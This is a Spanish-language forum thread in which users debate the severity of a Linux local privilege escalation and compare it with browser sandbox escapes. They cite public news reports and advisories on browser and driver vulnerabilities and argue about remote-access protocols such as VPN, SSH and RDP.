"Los resultados del primer día ya han sido publicados en el sitio web Zero Day Initiative, con un par de éxitos relacionados con el Mac en la lista de logros. Los hackers independientes Samuel Groß y Niklas Baumstark lograron un éxito parcial y ganaron 28.000 solares después de atacarSafari después de conseguir una escalada de privilegios a través de Safari para controlar macOS, lo que les permitió mostrar un mensaje en un MacBook Pro Touch Bar.

Ese mismo día, el Chaitin Security Research Lab también mostró bajo Safari un bug con resultado de escalada a root en macOS, usando un total de seis errores en su cadena de explotación, incluyendo “una revelación de información en Safari, cuatro errores de confusión tipo en el navegador y Un UAF en WindowServer “. Los esfuerzos combinados le dieron al equipo 35.000 dólares."

¿No aclara qué?


No sé, yo creo que o tú no has leído nada, o no te has enterado del rollo, o simplemente troleas.

[#111 meneandro]

#107 Olvidas la parte en que:
- necesitas un usuario
- necesitas que ejecute un script externo que haga una serie de cosas que provoquen el fallo.

Si tus servidores simplemente sirven cosas y están bien asegurados y no tienen usuarios trabajando en ellos que puedan hacer el tonto y ejecutar lo que no deben, en principio no deberías tener ningún problema.

Si por contra tienes usuarios trabajando, es probable que tengas un entorno gráfico y un navegador, que es una herramienta imprescindible para cualquier cosa. De ahí que afirme que hay más riesgo por ese lado que por el otro (tampoco veo a usuarios en consola ejecutando scripts llegados de vete a saber dónde sólo por ver que pasa).

[#114 meneandro]

#112 Un navegador por definición tira del hardware y el hardware tiene partes que se ejecutan de manera privilegiada:
- Aceleración 3D
- Aceleración 2D
- Buffers de audio y video
- Teclado
etc.

Todo eso lo hace mediante APIs, o sea, lo hace DENTRO de una abstracción creada para que todo ese acceso sea de manera segura y controlada, llamado sandbox o caja de arena. Hasta ahí estamos de acuerdo ¿no?. Pues aquí se habla de que se puede acceder fuera de esa caja de arena, que se está saltando dichas APIs seguras y está accediendo a los recursos a los que no debería poder acceder, recursos que son de otros usuarios y/o tienen otros privilegios, y que aprovecha esos accesos fuera de tiesto para hacerse con el control incluso del sistema. ¿Entiendes cómo funciona la cosa? ¿entiendes que desde un navegador puedes hacer cosas que "el usuario que lanza los procesos del navegador" importa un pepino si puedes saltarte ese usuario y esos controles a la torera?.

Que no lo digo yo, lo dicen los que saben.

https://www.fastcompany.com/90450626/firefox-attacks-homeland-security-urges-mac-users-to-update-browsers-immediately-in-rare-warning
"The issue is this: Firefox versions for desktop older than the just-patched version contain a critical vulnerability that could allow an attacker to take control of a user’s entire operating system—whether they use Windows or Mac."

https://threatpost.com/microsoft-patches-two-critical-vulnerabilities-under-attack/126239/
"According security experts at Qualys, another high-priority issue for sysadmin should be a Windows Graphics RCE Vulnerability (CVE-2017-8527). This vulnerability is triggered when users view a malicious website with specially crafted fonts. “A remote code execution vulnerability exist when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could take control of the affected system,”"
"Lastly, Microsoft patches Microsoft Edge and IE for several remote code execution issues (CVE-2017-8498, CVE-2017-8530 and CVE-2017-8523) that are particularly important as they have been publicly disclosed although no attacks have been observed yet, according to Qualys."

https://9to5google.com/2015/11/13/android-security-one-link-exploit/
"The exploit — which wasn’t revealed in full due to security concerns — targets the JavaScript v8 engine and could, in theory, allow hackers to get access to a phone if that phone happens to visit a malicious website. In short: Someone with the knowledge and intention could take complete control of your phone if you happen to visit the wrong website. "


https://nvidia.custhelp.com/app/answers/detail/a_id/3377/~/security-bulletin%3A-unprivileged-gpu-access-vulnerability---cve-2013-5987
"An NVIDIA graphics driver bug allows unprivileged user-mode software to access the GPU inappropriately. An attacker who successfully exploited this vulnerability could take control of an affected system."
En este caso, el bug no está en el navegador, pero usando webgl podría explotarse del mismo modo que podría hacerse usando una aplicación de escritorio al ser un bug en los drivers (diferente medio, igual procedimiento).

¿Te sigo poniendo ejemplos?

[#117 meneandro]

#116 Precisamente.

Un servicio no se pone a ejecutar scripts aleatorios ajenos de cualquier manera. Otra cosa es que haya una vunerabilidad previa en ese servicio (entonces el fallo en la cadena es anterior a la vulnerabilidad de la que estamos hablando). Por eso digo que hay más posibilidades de que un usuario normal en un navegador normal desencadene un proceso de ataque que con esta vulnerabilidad.

" Acabamos de tener el RCE mas importante de la decada hace poco mas de un mes. Ese ataque combinado con este tiene implicaciones desastrosas."

Muy bien, vuelves a encadenar ataques diferentes para poder explotar este problema de seguridad. Volvemos a un escenario donde previamente ya el equipo es inseguro.

Mi postura es que en si mismo, no es tan grave. Claro, si juntas cuatro vulnerabilidades previas, por supuesto que es un problema gordo, pero es que ya lo era de antes, esta vulnerabilidad sólo es la puntilla de problemas previos que no has resuelto.

[#118 meneandro]

#115 Te he puesto muchos ejemplos de fallos en navegador o explotables directamente desde el navegador, no problemas en el sistema. Lo que hace vulnerable al sistema es el navegador y no al revés.

" En los textos que citas, fíjate en el uso del condicional."

Porque hay algunas vulnerabilidades que no tenían exploit conocido aún, no porque no se puedan llevar a cabo. Igualmente, hay casos donde se confirma que se puede y que ya se ha explotado con éxito ¿esos no los cuentas?

Por otro lado, ¿te has fijado que te he puesto extractos de las vulnerabilidades que quiero que mires, y no las otras que no tienen que ver con navegadores pero que también nombran en algún artículo?

" El tema es que en los sistemas Windows los accesos remotos son casi exclusivamente con el navegador. "

WHAT???

¿de que me hablas colega? ¿sabes lo que es RDP? (o vnc o cualquier otro protocolo de conexión remota) ¿conoces el asistente remoto de windows? todo eso es independiente del navegador. VPNs, software que asegura conexiones... los hay a porrillo sin necesidad de usar un navegador para nada más que descargarlas y en algunos casos, para mostrar una consola con la pantalla remota, y sólo porque lo web está de moda y las aplicaciones tienden a hacerse webapps, porque antes los hipervisores (por poner un ejemplo) iban todos con una aplicación de escritorio, o cualquier software de gestión de cualquier tipo.

Para conectar bbdd, para conectar sap, para conectar cualquier software de escritorio de manera remota o conectarlos a cualquier lugar remoto (un servidor web, un frontal de aplicación, etc. la conexión remota es independiente de tener un navegador o no, se trata de un componente de windows o del SO que sea (que es quien gestiona las redes de tu máquina, no un navegador).

[#121 meneandro]

#120 El navegador proporciona acceso a elementos privilegiados del sistema porque es necesario para ciertas cosas. Si por lo que sea, da acceso a esos elementos a lo que no debería ¿el problema es el sistema o el navegador, que da acceso a lo que no debe? pues fíjate tú, es un problema del navegador. Y si, cuando se dice: "Este navegador tiene una vulnerabilidad que permite un escalado de privilegios", cuando los propios programadores del navegador salen diciendo "actualiza, porque hemos comprobado que esta vulnerabilidad nuestra permite una escalada de privilegios" creo que está bastante claro lo que quieren decir.

Te lo pongo más fácil con un ejemplo: una página web no controla sus parámetros de entrada de un formulario, alguien se lo curra y mete una sentencia sql en esa entrada de texto y la base de datos queda destruída... ¿es problema de seguridad de la base de datos (o del sistema)? ¿o es que la aplicación web es negligente y permite una cosa que no debería permitir? la bbdd sólo hace lo que le mandan, está haciendo su trabajo, el problema viene de otro sitio...

" Una VPN no permite acceso remoto a un equipo solo proporciona acceso a una red."
Existen dos tipos de VPN: VPN de acceso remoto y VPN PISec de sitio a sitio. En ambos casos, VPN se comporta como un tunel punto a punto entre una red privada y otra red privada aislándolas del medio que en realidad es una red pública. Pero una red puede ser millones de equipos o uno sólo, de hecho, lo normal es que sea una conexión punto a punto entre dos equipos individuales, sea como sea, es un acceso remoto (a un equipo o a una red). La diferencia es que cuando se hace a un equipo puedes no necesitar más software, cuando se hace a una red, la VPN sólo es el medio y necesitas más software para conectarte (por ejemplo, un cliente de rdp).

"Nadie está diciendo que el acceso remoto tenga que ver con el navegador."

En tus propias palabras... "El tema es que en los sistemas Windows los accesos remotos son casi exclusivamente con el navegador. "

[#123 meneandro]

#122 Te estoy diciendo unas cosas muy concretas:
los navegadores acceden (más o menos) directamente al hardware por cuestiones de eficiencia. El hardware tiene recursos que deberían estar protegidos. Si una falla en el navegador permite de manera incorrecta, fraudulenta o como quieras llamarlo, acceder a esos recursos (por ejemplo, para provocar una escalada de privilegios) ¿de quién es la culpa? ¿del hardware?. Te lo pinto más fácil aún:

"Un caso comparable es que se pudiera acceder a bases de datos de otros usuarios o aplicaciones por una vulnerabilidad en el navegador. En tu ejemplo el programa se limita a ejercer sus privilegios."

Si, injectando sql se puede conseguir eso que dices con una vulnerabilidad de una web. Y también se puede usar la técnica para obtener datos del propio navegador (que por si no lo sabes, integra bases de datos para diversos usos, como por ejemplo, gestión de perfiles de usuario, gestión de cuentas y contraseñas, etc).

Te lo pinto más fácil y con un ejemplo más concreto aún. Existe esto: https://developer.mozilla.org/en-US/docs/Web/API/Keyboard_API
Si por una falla del navegador alguien puede fabricar un keylogger y capturar todo lo que tecleas... ¿es fallo del SO? el SO sólo hace lo que le pide el navegador, es un problema de gestión del navegador el que permite al atacante leer el teclado desde una pestaña que no es la suya o sin haber solicitado al usuario los permisos correspondientes o porque se está ejecutando un javascript que se está saltando su sandbox o cualquier otra manera que puedas pensar de hacerlo.

Y hay APIs para acceder a disco, para acceder a la gráfica, para acceder a tu webcam, para acceder a tu tarjeta de sonido, para... ¿es todo culpa del SO?

"Otra cosa es que le llames VPN a algo que no lo es. Un túnel SSH o hacer SSH a una máquina en ningún caso es una VPN."

No he hablado de túneles ssh (que son una conexión entre dos máquinas, igual que hace un rdp, un vnc o cualquier otro protocolo). He dicho: vpn puede conectar dos redes a través de un túnel, pero también puede conectar directamente entre pares. Lo típico de las empresas serias es que tú no te conectes "a la red" de la empresa, sino que uses una VPN para conectarte a una máquina de salto a esa red (donde puedan controlar los permisos de tu usuario dentro de esa red y auditar lo que hace). Esa conexión es entre pares, un equipo a otro equipo, esa vpn aparte de fabricar el túnel seguro por medio de internet, te conecta, hace las dos funciones.

[#12 tpm1]

#11 No significa que tengas que tener acceso físico al equipo, basta con acceder como usuario, cosa muy habitual al trabajar con servidores.

[#63 comunerodecastilla]

#14 #15 apt updateapt upgradeAhora ya podéis porfiar si son galgos o podencos.   😉

[#67 ragar]

#17 Yo tampoco lo sé. Para mí , acceder por ssh siempre lo he considerado acceder en remoto. A ver si el artículo tiene algún trozo mal traducido.¿?

[#109 el-brujo]

#39 cierto, lo único que veo que polkit está instalado si usas cockpit

[#51 Desactivado]

#10 Pues desde hace mas de 10 años mas bien poca que no tenga root ya.

[#52 chavi]

#15 Exacto. Una escalada local de privilegios es una cagada importante.

[#54 chavi]

#32 No. Un navegador no permite escalar privilegios, funciona sin privilegios

[#55 chavi]

#22 Solo los de los incompetentes. Los servidores deben estar siempre actualizados. Y no hablo de tener las últimas versiones.

[#74 DRAG0NER0]

Éste sí es el año del despegue de Linux.

[#95 gartstell]

#44 No funciona en Clear Linux. Aunque actualizé ayer, así que seguro ya está parchado